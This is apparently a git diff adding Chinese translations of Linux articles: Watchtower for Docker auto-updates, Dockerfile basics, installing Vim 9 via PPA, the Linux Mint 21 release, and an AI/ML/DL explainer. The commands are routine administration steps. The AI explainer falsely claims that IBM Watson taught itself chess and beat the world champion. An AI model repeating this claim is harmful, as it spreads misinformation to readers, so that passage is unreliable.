+[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14926-1.html" + +如何使用 Watchtower 自动更新正在运行的 Docker 容器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/13/171633bitrd5imi953bbbi.jpg) + +> 使用 Watchtower 自动更新 Docker 容器基础镜像 + +对开发运维人员来说,保持 Docker 容器为最新版本是重要工作之一。手动更新 Docker 容器是一项耗时的工作。这篇文章解释了 **Watchtower** 是什么,如何安装它,以及在 Linux 中如何 **使用 Watchtower 自动更新正在运行的 Docker 容器** 。 + +### Watchtower 是什么? + +**Watchtower** 是一款自由开源的应用,用来监控运行中的 Docker 容器,并且当它发现基础镜像被更改后,可以自动的更新容器。 + +若 Watchtower 发现一个运行中的容器需要更新,它会以发送 SIGTERM 信号的方式,优雅的结束运行中容器的运行。 + +它会下载新镜像,然后以最初部署时使用的方式,重启容器。所有文件会在后台自动下载,因此不需要用户的介入。 + +在这份指南中,我们将会明白如何在类 Unix 系统中使用 Watchtower 自动更新正在运行的 Docker 容器。 + +我已经在 CentOS 和 Ubuntu 中测试了这份指南,所有的 Linux 发行版中操作过程都一样。 + +### 在 Linux 中安装 Watchtower + +可以通过 Docker 镜像的方式下载 Watchtower 。因此,部署它是小事一桩。在你的 Linux 中安装 Docker 镜像,然后运行 Watchtower 立即开始监控 Docker 容器。 + +参考下方指导在基于 PRM 和 DEB 包管理系统中安装 Docker + +* [如何在 CentOS 中安装 Docker][1] +* [如何在 Ubuntu 中安装 Docker][2] +* [适用于 Linux 的 Docker 桌面初学者手册][3] + +安装 Docker 后,你可以使用以下命令以 `root` 用户身份部署 Watchtower 容器: + +``` +# docker run -d --name watchtower -v /var/run/docker.sock:/var/run/docker.sock containrrr/watchtower +``` + +如果你已经安装了 Docker 桌面版,以普通用户运行 Watchtower 容器。 + +``` +$ docker run -d --name watchtower -v /var/run/docker.sock:/var/run/docker.sock containrrr/watchtower +``` + +该命令会拉取最新版的 `watchtower` 镜像,并运行 `watchtower` 容器。 + +输出样例: + +``` +Unable to find image 'containrrr/watchtower:latest' locally +latest: Pulling from containrrr/watchtower +1045b2f97fda: Pull complete +35a104a262d3: Pull complete +1a0671483169: Pull complete +Digest: sha256:bbf9794a691b59ed2ed3089fec53844f14ada249ee5e372ff0e595b73f4e9ab3 +Status: Downloaded newer image for containrrr/watchtower:latest +91c104ef0e9896e8cd5ff30d9f13e728dbfad66443830ec2ac85dde6d7d37564 +``` + +![Run Watchtower Docker Container][4] + +### 使用 Watchtower 自动更新 Docker 容器 + +在你的系统上,Watchtower 正在和其他容器一起运行。你可以使用一下命令查看运行中的 Docker 容器列表: + +``` +$ docker ps +``` + +输出样例: + +``` +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +91c104ef0e98 containrrr/watchtower "/watchtower" 14 minutes ago Up 14 minutes 8080/tcp watchtower +f90b462b0712 bitnami/wordpress-nginx:6 "/opt/bitnami/script…" 19 minutes ago Up 19 minutes 0.0.0.0:80->8080/tcp, 0.0.0.0:443->8443/tcp ostechnix-wordpress-1 +``` + +正如上方输出所示,`watchtower` 容器正在和名为 `ostechnix-wordpress-1` 的容器一起运行。从现在开始,`watchtower` 会每隔几分钟会检查该容器。 + +如果 Watchtower 发现该容器的基础镜像的任何变化,它会优雅的关闭 `ostechnix-wordpress-1` 容器,然后使用与最初启动它时使用的相同方式,启动新的镜像。 + +类似的,它会自动地每隔几分钟检查所有的运行中容器,并自动更新它们。 + +### Watchtower 如何更新多连接的容器? + +在监视多连接容器时,Watchtower 十分智能。 + +假设我们现在运行两个容器。 + +``` +$ docker ps +``` + +输出样例: + +``` +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +91c104ef0e98 containrrr/watchtower "/watchtower" 14 minutes ago Up 14 minutes 8080/tcp watchtower +f90b462b0712 bitnami/wordpress-nginx:6 "/opt/bitnami/script…" 19 minutes ago Up 19 minutes 0.0.0.0:80->8080/tcp, 0.0.0.0:443->8443/tcp ostechnix-wordpress-1 +a895f082438a bitnami/mariadb:10.6 "/opt/bitnami/script…" 20 minutes ago Up 19 minutes 3306/tcp ostechnix-mariadb-1 +``` + +![View Running Docker Containers][5] + +正如你看到的,我们正在运行 `ostechnix-wordpress-1` 和 `ostechnix-mariadb-1` 这两个容器。`ostechnix-mariadb-1` 容器链接到 `ostechnix-wordpress-1` 容器。 + +如果 Watchtower 发现 `ostechnix-wordpress-1` 容器有个新版本,它会先关闭与之相连接的 `ostechnix-mariadb-1` 容器 ,然后才会关闭 `ostechnix-wordpress-1` 容器。 + +更新 `ostechnix-wordpress-1` 容器后,Watchtower 会以正确的顺序,且与最初启动它们时使用的相同方式,重启这两个容器,以便应用程序正确恢复。在我们的例子中,首先启动的是 `ostechnix-mariadb-1` 容器,然后是 `ostechnix-wordpress-1` 容器,以确保连接能够继续运行。 + +### 监控特定容器 + +默认情况下,Watchtower 将监控在它所指向的 Docker 守护进程中运行的所有 Docker 容器。 + +不过,你可以像下面这样,通过指定容器名称限制 Watchtower 监视特定的 Docker 容器。 + +``` +$ docker run -d --name watchtower -v /var/run/docker.sock:/var/run/docker.sock containrrr/watchtower ostechnix-wordpress-1 +``` + +在上方的例子中,`watchtower` 会忽略其他容器,只监视名为 `ostechnix-wordpress-1` 的容器更新情况。 + +如果你不指定任何参数,Watchtower 会照常监视所有运行中的 Docker 容器。 + +### 发送提示 + +或许你想收到容器更新的通知。你可以通过电子邮件、Slack 、MSTeams 以及 Gotify 发送通知。 + +下面这个例子展示了如何通过电子邮件发送通知。假设你已经设置了 SMTP 服务器。 + +``` +docker run -d \ + --name watchtower \ + -v /var/run/docker.sock:/var/run/docker.sock \ + -e WATCHTOWER_NOTIFICATIONS=email \ + -e WATCHTOWER_NOTIFICATION_EMAIL_FROM=fromaddress@gmail.com \ + -e WATCHTOWER_NOTIFICATION_EMAIL_TO=toaddress@gmail.com \ + -e WATCHTOWER_NOTIFICATION_EMAIL_SERVER=smtp.gmail.com \ + -e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_PORT=587 \ + -e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_USER=fromaddress@gmail.com \ + -e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_PASSWORD=app_password \ + -e WATCHTOWER_NOTIFICATION_EMAIL_DELAY=2 \ + containrrr/watchtower +``` + +参考下方 Watchtower Github 仓库和 Watchtower 官方主页获取更多信息: + +### 资料 + +* [Watchtower GitHub][6] +* [Watchtower 主页][7] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/automatically-update-running-docker-containers/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/install-docker-centos/ +[2]: https://ostechnix.com/install-docker-ubuntu/ +[3]: https://ostechnix.com/docker-desktop-for-linux/ +[4]: https://ostechnix.com/wp-content/uploads/2022/07/Run-Watchtower-Docker-Container.png +[5]: https://ostechnix.com/wp-content/uploads/2022/07/View-Running-Docker-Containers.png +[6]: https://github.com/v2tec/watchtower +[7]: https://containrrr.dev/watchtower/ +[8]: https://ostechnix.tradepub.com/free/w_java39/prgm.cgi diff --git a/published/202208/20220728 How To Build Custom Docker Image Using Dockerfile.md b/published/202208/20220728 How To Build Custom Docker Image Using Dockerfile.md new file mode 100644 index 0000000000..f6a94145d7 --- /dev/null +++ b/published/202208/20220728 How To Build Custom Docker Image Using Dockerfile.md @@ -0,0 +1,298 @@ +[#]: subject: "How To Build Custom Docker Image Using Dockerfile" +[#]: via: "https://ostechnix.com/a-brief-introduction-to-dockerfile/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14896-1.html" + +如何使用 Dockerfile 创建自定义 Docker 镜像 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/04/172001acb136363vi6vcgk.jpg) + +在这份指南中,我们将看到 **Dockerfile** 的简要介绍以及如何在 Linux 中使用 Dockerfile 来自动的 **创建自定义 Docker 镜像** 。 + +### 什么是 Dockerfile ? + +Dockerfile 是附有构建 Docker 镜像说明的易于理解的文本文件。它囊括了用户在创建镜像时可以调用的所有命令。 + +我们可以使用 Dockerfile 创建自定义的镜像。可以通过 Docker Hub 分享的自定义 Docker 镜像。 + +如果你还不知道,Docker Hub 是 Docker 提供的托管存储库服务,用于团队查找和共享容器镜像,当然世界上任何人也都可以访问。 + +想象一下,早期如果我们想用 **Nginx**,我们要通过很多步骤,才能安装和配置好 Nginx 。得益于 Docker Hub ,现在我们可以在几分钟内,下载并运行 Nginx 的预置容器镜像。 + +![Nginx Docker Image In Dockerhub][1] + +运行如下命令从 Docker Hub 上拉取 Nginx 镜像: + +``` +# docker pull nginx +``` + +一旦我们拉取了 Docker 镜像,可以运行如下命令使用它: + +``` +# docker run -it -d -p 8080:8080 nginx +``` + +就这样,十分简单! + +参考下方链接,了解更多使用 Docker 的方式: + +* [开始使用 Docker][2] + +Docker Hub 上有超过十万个来自软件供应商、开源项目以及社区的容器镜像。 + +你可以从 Docker Hub 上下载你选择的镜像,并且使用上面的命令开始使用它。 + +### 理解 Dockerfile 格式 + +Docker 可以读取 Dockerfile 中的 **指令** 来自动的创建镜像。 + +典型的 Dockerfile 包含如下指令: + +1、`FROM` —— 这会设置容器的基础镜像。 + +例如: + +``` +FROM ubuntu:22.04 +``` + +这会将容器的基础镜像设置为 Ubuntu 。如果 ‘22.04’ 这个标志没有特别指明,则会设为最新版本(`latest`)。 + +2、`LABEL` —— 这是用来明确镜像的元数据信息的键值对。 + +例如: + +``` +LABEL ENV=“DEVELOPMENT” +``` + +3、`RUN` —— 这会在基础镜像中执行指令并创建一个新层。 + +例如: + +``` +RUN apt-get update +RUN apt-get install tomcat +``` + +4、`CMD` —— 这用来设置容器启动后先执行的命令。 + +例如: + +``` +CMD ["java", "-jar", "app.jar"] +``` + +5、`EXPOSE` —— 设置用于访问容器的端口。容器将会监听该端口。我们可以用来获得输出。 + +例如: + +``` +EXPOSE 8080 +``` + +6、``MAINTAINER` —— 显示创建镜像作者的信息。 + +例如: + +``` +MAINTAINER info@ostechnix.com +``` + +7、`ENV` —— 用来设置环境变量的键值对。这些变量在镜像创建的时候设置,并在容器创建好后可以使用。 + +例如: + +``` +ENV DB_NAME=”MySQL” +ENV DB_VERSION=”8.0” +``` + +8、`COPY` —— 用来拷贝本地文件至容器中。 + +例如: + +``` +COPY /target/devops.jar devops.jar +``` + +9、`ADD` —— 具有与拷贝相同的功能,不过更进一步还可以提取本地的 tar 文件或者从 URL 拷贝文件。 + +例如: + +``` +ADD devops.tar.xz / . +ADD http://example.com/abc.git /usr/local/devops/ +``` + +10、`ENTRYPOINT` —— 用来设置镜像的主要命令。与 CMD 指令功能相同。不同的是 `ENTRYPOINT` 中的指令不会被重写。 + +例如: + +``` +ENTRYPOINT ["java", "-jar", "app.jar"] +``` + +11、`VOLUME` —— 该指令用来创建指定位置的挂载点。 + +例如: + +``` +VOLUME /app/devops +``` + +12、`USER` —— 将设置运行镜像并使用的用户名称以及用户组。 + +例如: + +``` +USER dhruv +USER admin +``` + +13、`WORKDIR` —— 这会设置工作目录。如果目录不存在,则会创建。 + +例如: + +``` +WORKDIR /var/lib/ +``` + +这是一个 Dockerfile 的样本,可以参考一下: + +``` +FROM ubuntu:latest +MAINTAINER Senthilkumar Palani "info@ostechnix.com" +RUN apt-get install -y software-properties-common python +RUN add-apt-repository ppa:chris-lea/node.js +RUN echo "deb http://us.archive.ubuntu.com/ubuntu/ jammy universe" >> +/etc/apt/sources.list +RUN apt-get update +RUN apt-get install -y nodejs +RUN mkdir /var/www +ADD app.js /var/www/app.js +CMD ["/usr/bin/node", "/var/www/app.js"] +``` + +我将向你展示创建一个 Dockerfile 、创建并使用镜像的简单例子。 + +### 创建一个 Dockerfile + +创建一个名为 `dockerfile` 的文件: + +``` +# nano dockerfile +``` + +添加下面几行命令。我们将更新并安装 `vim` 和 `curl` 包: + +``` +FROM alpine + +RUN apk update +RUN apk add vim +RUN apk add curl +``` + +![Dockerfile For Alpine Linux][3] + +按下 `CTRL+O` 和 `CTRL+X` 键保存文件并关闭。 + +现在 Dockerfile 已经就位。让我们继续,用该 Dockerfile 创建一个镜像。 + +> **注意:** 如果你在使用 [Docker 桌面版][4],你可以以一个普通用户运行 `docker` 命令。 + +### 使用 Dockerfile 创建 Docker 镜像 + +只需运行以下命令,便可以使用 Dockerfile 创建 Docker 镜像: + +``` +# docker build -t alpine . +``` + +请注意最后有一个 **点**(`.`)。 + +输出示例: + +``` +[+] Building 51.2s (8/8) FINISHED + => [internal] load build definition from Dockerfile 0.1s + => => transferring dockerfile: 104B 0.0s + => [internal] load .dockerignore 0.1s + => => transferring context: 2B 0.0s + => [internal] load metadata for docker.io/library/alpine:latest 38.8s + => [1/4] FROM docker.io/library/alpine@sha256:7580ece7963bfa863801466c0a 2.7s + => => resolve docker.io/library/alpine@sha256:7580ece7963bfa863801466c0a 0.0s + => => sha256:d7d3d98c851ff3a95dbcb70ce09d186c9aaf7e25d48 1.47kB / 1.47kB 0.0s + => => sha256:530afca65e2ea04227630ae746e0c85b2bd1a179379 2.80MB / 2.80MB 2.4s + => => sha256:7580ece7963bfa863801466c0a488f11c86f85d9988 1.64kB / 1.64kB 0.0s + => => sha256:9b2a28eb47540823042a2ba401386845089bb7b62a9637d 528B / 528B 0.0s + => => extracting sha256:530afca65e2ea04227630ae746e0c85b2bd1a179379cbf2b 0.2s + => [2/4] RUN apk update 4.3s + => [3/4] RUN apk add vim 3.5s + => [4/4] RUN apk add curl 1.3s + => exporting to image 0.4s + => => exporting layers 0.4s + => => writing image sha256:14231deceb6e8e6105d2e551799ff174c184e8d9be8af 0.0s + => => naming to docker.io/library/alpine 0.0s + +Use 'docker scan' to run Snyk tests against images to find vulnerabilities and learn how to fix them +``` + +按照上面的命令, Docker 会通过保存在当前工作目录中的 Dockerfile 中的命令开始自动的创建镜像。还记得我们在 Dockerfile 中保存的 `apk update`、`apk add vim` 和 `apk add curl` 命令吗?这些命令也将会自动的执行。 + +如果 Dockerfile 保存在其他目录,你可以使用 `-f` 标志来指定路径,例如: + +``` +# docker build -f /path/to/a/Dockerfile . +``` + +创建好镜像后,我们可以使用如下命令运行它: + +``` +# docker run -it alpine +``` + +该命令会启动这个 Alpine 容器并连接到它。 + +``` +/ # uname -a +Linux 8890fec82de8 5.10.104-linuxkit #1 SMP Thu Mar 17 17:08:06 UTC 2022 x86_64 Linux +/ # cat /etc/alpine-release +3.16.1 +/ # +``` + +如果你使用 Docker 桌面版,你可以通过容器Containers标签页界面来查看运行中的容器。 + +![View Containers In Docker Desktop][5] + +这就是使用 Dockerfile 构建自定义容器映像的方式。 + +我们仅仅讲了基础内容。你可以用 Dockerfile 做到很多东西。建议你参考一下官方 [Dockerfile 参考][6] ,以了解更多内容。 + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/a-brief-introduction-to-dockerfile/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/wp-content/uploads/2022/07/Nginx-Docker-Image-In-Dockerhub.png +[2]: https://ostechnix.com/getting-started-with-docker/ +[3]: https://ostechnix.com/wp-content/uploads/2022/07/Dockerfile-For-Alpine-Linux.png +[4]: https://ostechnix.com/docker-desktop-for-linux/ +[5]: https://ostechnix.com/wp-content/uploads/2022/07/View-Containers-In-Docker-Desktop-1024x524.png +[6]: https://docs.docker.com/engine/reference/builder/ diff --git a/published/202208/20220730 How to Install Latest Vim 9.0 on Ubuntu Based Linux Distributions.md b/published/202208/20220730 How to Install Latest Vim 9.0 on Ubuntu Based Linux Distributions.md new file mode 100644 index 0000000000..1e7e201821 --- /dev/null +++ b/published/202208/20220730 How to Install Latest Vim 9.0 on Ubuntu Based Linux Distributions.md @@ -0,0 +1,122 @@ +[#]: subject: "How to Install Latest Vim 9.0 on Ubuntu Based Linux Distributions" +[#]: via: "https://itsfoss.com/install-latest-vim-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14899-1.html" + +如何在基于 Ubuntu 的 Linux 发行版上安装最新的 Vim 9.0 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/05/174903f3zu3nqrrnwclwrz.jpg) + +> 这个快速教程展示了在 Ubuntu Linux 上安装最新版本的 Vim 的步骤。 + +Vim 是最 [流行的基于终端的文本编辑器][1] 之一。然而,它在 Ubuntu 上没有被默认安装。 + +Ubuntu 使用 Nano 作为默认的终端编辑器。Nano 也是一个优秀的工具,我并不打算参与 [Nano 与 Vim 孰优孰劣的辩论][2]。 + +如果你已经花了一些时间掌握了 Vim 的快捷键,你就不必忘记它们,而开始使用一个新的编辑器。 + +你可以在终端使用以下命令在 Ubuntu 上安装 Vim: + +``` +sudo apt install vim +``` + +这很简单,对吗?这种方法的主要问题是,你不会得到最新的 Vim 版本。 + +你可以用以下命令检查已安装的 Vim 版本: + +``` +vim --version +``` + +而如果你查看 [Vim 网站][3],你会发现 Vim 已经发布了更新的版本。 + +在写这篇文章的时候,[Vim 9.0 已经发布][4],但在 Ubuntu 仓库中还没有。 + +好消息是,你可以使用一个 [非官方的,但积极维护的 PPA][5] 安装最新的 Vim。 + +### 使用 PPA 在 Ubuntu 上安装 Vim 9 + +如果你有特定的 Vim 配置文件,为它们做个备份也无妨。 + +现在,要安装最新的 Vim 版本,先添加 PPA 仓库: + +``` +sudo add-apt-repository ppa:jonathonf/vim +``` + +![Adding the PPA to get the latest Vim version][6] + +你不需要在 Ubuntu 上更新软件包缓存,但其他发行版如 Mint 可能仍然需要: + +``` +sudo apt update +``` + +现在,使用下面的命令来安装 PPA 提供的最新 Vim 版本: + +``` +sudo apt install vim +``` + +如果你已经安装了一个较早的 Vim 版本,它将被升级。你可以用以下方法检查已安装的 Vim 版本: + +``` +vim --version +``` + +![Checking installed Vim version][7] + +这是一个维护得非常好的 PPA,适用于所有活跃的 Ubuntu 版本。 + +如果你是 PPA 的新手,我有一个关于这个主题的详细指南。你应该阅读以对 [Ubuntu 中 PPA 的概念][8] 了解更多。 + +### 降级或删除 + +如果你想回到 Ubuntu 提供的旧版 Vim,你应该删除现有的版本,删除 PPA 并重新安装它。 + +在删除 Vim 之前,如果你做了自定义修改并打算再次使用 Vim,你应该复制 vimrc 或其他类似的配置文件。 + +那么,打开一个终端,使用以下命令: + +``` +sudo apt remove vim +``` + +现在删除 PPA,否则你会再次得到最新的 Vim(如果你尝试安装旧版本的 Vim): + +``` +sudo add-apt-repository -r ppa:jonathonf/vim +``` + +现在,如果你想要旧的、官方的 Ubuntu 版本的 Vim,只需再次 [使用 apt 命令][9] 安装它。 + +享受 Ubuntu 上的 Vim 吧。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-latest-vim-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/command-line-text-editors-linux/ +[2]: https://itsfoss.com/vim-vs-nano/ +[3]: https://www.vim.org/ +[4]: https://news.itsfoss.com/vim-9-0-release/ +[5]: https://launchpad.net/~jonathonf/+archive/ubuntu/vim +[6]: https://itsfoss.com/wp-content/uploads/2022/07/install-latest-vim-on-ubuntu-using-ppa.png +[7]: https://itsfoss.com/wp-content/uploads/2022/07/vim-9-ubuntu.png +[8]: https://itsfoss.com/ppa-guide/ +[9]: https://itsfoss.com/apt-command-guide/ diff --git a/published/202208/20220731 The Much Awaited Linux Mint 21 is Released and Available to Download.md b/published/202208/20220731 The Much Awaited Linux Mint 21 is Released and Available to Download.md new file mode 100644 index 0000000000..e4c491c54c --- /dev/null +++ b/published/202208/20220731 The Much Awaited Linux Mint 21 is Released and Available to Download.md @@ -0,0 +1,128 @@ +[#]: subject: "The Much Awaited Linux Mint 21 is Released and Available to Download" +[#]: via: "https://news.itsfoss.com/linux-mint-21-release/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14884-1.html" + +期待已久的 Linux Mint 21 发布 +====== + +> Linux Mint 终于发布了基于 Ubuntu 22.04 LTS 的 “Vanessa”,并带来了很多有用的改进。 + +![linux mint 21][1] + +Linux Mint 是 [最受欢迎的 Linux 发行版之一][2]。它使用 Ubuntu 作为其基础,特别是它基于 [长期支持][3] 的 Ubuntu 版本,以获得长达 5 年的软件支持。 + +现在,我们有一个新的版本升级,即 **Linux Mint 21 “Vanessa”**,它基于 4 月份最新发布的 [Ubuntu 22.04 LTS 版本][4]。因此,用户可以预期它的安全更新可以支持到 2027 年。 + +让我们来看看这个版本的亮点。 + +### Linux Mint 21 Vanessa 的新亮点 + +![][5] + +它采用了稳定的、改进的 [Linux 5.15 LTS 内核][6],Linux Mint 21 带来了一系列新的增加、变化和完善。 + +#### 现有用户的升级工具 + +![][7] + +现有的 Mint 20.3 用户可以使用新的基于 GUI 的升级工具轻松更新他们的系统。 + +用户会看到一个需要安装或升级的新软件包的列表,这也包括了对你可能手动添加的第三方 PPA 库的检查。 + +#### 新的蓝牙管理器 + +![][8] + +Blueman 现在取代了图形界面的 GNOME 蓝牙管理器 Blueberry。 + +之所以这样做,主要是因为 Blueman 提供了更多的功能和连接选项,以及对多种桌面环境的更好支持。此外,Blueman 的用户界面与 Linux Mint 完美地融合在一起。 + +Blueman 包括一些高级选项,可能大多数用户用不到,但它是一个好工具。 + +#### 新的进程监控托盘图标 + +![][9] + +不管是对于资深用户还是初级用户来说,一个非常有用的功能是引入了一个新的托盘图标,可以监控进程! + +这个托盘图标将通知用户是否有任何自动化进程(如更新和系统快照)在后台运行。 + +当系统变得缓慢时,Mint 用户将很容易知道该去哪里找到问题! + +#### 增强的缩略图支持 + +![][10] + +以前,一些文件类型没有任何缩略图显示,这样的用户体验不是很好。 + +为了解决这个问题,这个版本引入了一个新的项目 *xapp-thumbnails*,并为包括 AppImage、ePub、MP3、RAW 图片和 WebP 在内的文件类型带来了缩略图支持。 + +#### XApp 的改进 + +以前的 Timeshift 备份工具现在成为了一个 XApp,并由 Mint 团队正式维护。此外,在 rsync 模式下,如果快照导致磁盘上的可用空间少于 1GB,则会计算出下一次快照所需的空间并跳过下一次快照。 + +Xviewer、Warpinator、Thingy 和 WebApp 管理器也有了其他改进。 + +#### Cinnamon 5.4.2 + +Linux Mint 的旗舰桌面环境 Cinnamon 得到了良好的内部升级。 + +默认的窗口管理器 Muffin 现在重新基于较新的 Mutter 3.36 代码库开发。 + +窗口 UI 也有一些细微的改进,包括主题和动画。 + +![][11] + +### 其他增加的功能和改进 + +其他一些变化包括: + +* 改进了对 AppImage 的支持,这与 Ubuntu 22.04 不同 +* 目录中出现了一组新的漂亮的壁纸 + +你可以在我们专门的 [Linux Mint 21 功能][12] 文章中探索更多关于它的新亮点。 + +### 获取 Linux Mint 21 + +如果你正在使用 Mint 20.3,你应该能在几天内升级到 Mint 21。图形化的更新过程应该会在几天后出现。 + +你可以选择从 Linux Mint 的下载页面下载 ISO,进行全新安装。 + +> **[获取 Linux Mint 21][13]** + +如果你的网络速度慢或不稳定,你也可以 [用这个种子链接][14]。 + +享受新鲜的 Mint 吧 🙂 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-mint-21-release/ + +作者:[Rishabh Moharir][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/linux-mint-21-release.jpg +[2]: https://itsfoss.com/best-linux-distributions/ +[3]: https://itsfoss.com/long-term-support-lts/ +[4]: https://news.itsfoss.com/ubuntu-22-04-release/ +[5]: https://news.itsfoss.com/wp-content/uploads/2022/07/linux-mint-21-new.jpg +[6]: https://news.itsfoss.com/linux-kernel-5-15-release/ +[7]: https://news.itsfoss.com/wp-content/uploads/2022/07/upgradetool.webp +[8]: https://news.itsfoss.com/wp-content/uploads/2022/07/blueman.png +[9]: https://news.itsfoss.com/wp-content/uploads/2022/07/monitor.png +[10]: https://news.itsfoss.com/wp-content/uploads/2022/07/thumbnails.png +[11]: https://news.itsfoss.com/wp-content/uploads/2022/07/animations.png +[12]: https://itsfoss.com/linux-mint-21-features/ +[13]: https://linuxmint.com/download.php +[14]: https://linuxmint.com/torrents/ diff --git a/published/202208/20220801 AI, ML and DL- What-s the Difference-.md b/published/202208/20220801 AI, ML and DL- What-s the Difference-.md new file mode 100644 index 0000000000..d2d7776bcb --- /dev/null +++ b/published/202208/20220801 AI, ML and DL- What-s the Difference-.md @@ -0,0 +1,63 @@ +[#]: subject: "AI, ML and DL: What’s the Difference?" +[#]: via: "https://www.opensourceforu.com/2022/08/ai-ml-and-dl-whats-the-difference/" +[#]: author: "Bala Kalavala https://www.opensourceforu.com/author/bala-kalavala/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14918-1.html" + +人工智能(AI)、机器学习(ML)和深度学习(DL):有什么区别? +====== + +> 我们经常交替使用人工智能(AI)、机器学习(ML)和深度学习(DL)这些术语,尽管我们几乎每天都阅读或听到它们。本文解释了这些技术是如何演变的以及它们有何不同。 + +![AI ML and DL What’s the Difference][1] + +人工智能Artificial Intelligence(AI)、机器学习Machine Learning(ML)和深度学习Deep Learning(DL)通常可以互换使用。但是,它们并不完全相同。人工智能是最广泛的概念,它赋予机器模仿人类行为的能力。机器学习是将人工智能应用到系统或机器中,帮助其自我学习和不断改进。最后,深度学习使用复杂的算法和深度神经网络来重复训练特定的模型或模式。 + +让我们看看每个术语的演变和历程,以更好地理解人工智能、机器学习和深度学习实际指的是什么。 + +#### 人工智能 + +自过去 70 多年以来,人工智能已经取得了长足的进步。无论我们是否知道,也不管喜欢与否,,它已经渗透到了我们生活的方方面面。在过去十年中,机器学习和深度学习的进步已经在各种规模的行业和组织中创造了人工智能热潮。云服务提供商通过开发免费的开源服务和提供新的场景进一步推动的这种势头。 + +![Figure 1: Overview of AI, ML and DL][2] + +人工智能可能是自 1956 年以来最受关注的概念。到 2015 年,GPU 的广泛使用使并行处理更快、更强大、更便宜。而愈加廉价的存储可以大规模地存储大数据(从纯文本到图像、映射等)。这产生了对数据分析的需求,它被更普遍地称为数据科学data science,导致机器学习发展为实现人工智能的方法。 + +#### 机器学习 + +机器学习是使用算法来处理、学习和理解或预测可用数据的模式。最近,软件开发的低代码和无代码概念被用作机器学习中的自学习过程,它给出了完成特定任务的特定指令。通过使用数据和算法对机器进行“训练”,使其能够学习如何执行任务,更重要的是,将学习应用到不断发展的过程中。 + +![Figure 2: Evolution of AI, ML and DL][3] + +机器学习是在开发者社区专注于 AI 时发展起来的,然后发展了算法决策树学习、逻辑编程、聚类、并行处理和强化学习。这些都是朝着正确方向迈出的良好一步,但不足以解决世界感兴趣的场景。 + +#### 深度学习 + +深度学习是神经网络和机器学习的进化,是人工智能社区的创意。它学习了人类思维在特定场景中的工作方式,然后在这项工作上比人类做得更好!例如,IBM 的 Watson 与自己下国际象棋,并在游戏中取得了很大进步,最终击败了世界冠军。谷歌的 AlphaGo 也学会了如何玩围棋游戏,一遍又一遍地玩它以提高自己,并成为冠军。 + +人工智能、机器学习和深度学习正在不断发展。参与数据科学的每个人都希望推进这些概念以改善我们的日常生活。而开源社区、私营企业、科学家和政府机构都在为此共同努力。 + +![Figure 3: Types of AI, ML and DL][4] + +总而言之,虽然 AI 有助于创建智能机器,但机器学习有助于构建 AI 驱动的应用。深度学习是机器学习的一个子集。它通过利用复杂算法处理大量数据来训练特定模型。由于狭义 AI 极难开发,机器学习正在通过刚性计算解决这一领域的机遇。至少对于实现通用 AI,深度学习有助于将 AI 和机器学习结合在一起。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/ai-ml-and-dl-whats-the-difference/ + +作者:[Bala Kalavala][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/bala-kalavala/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/AIML-and-DL-Whats-the-Difference.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-1-Overview-of-AI-ML-and-DL.jpg +[3]: 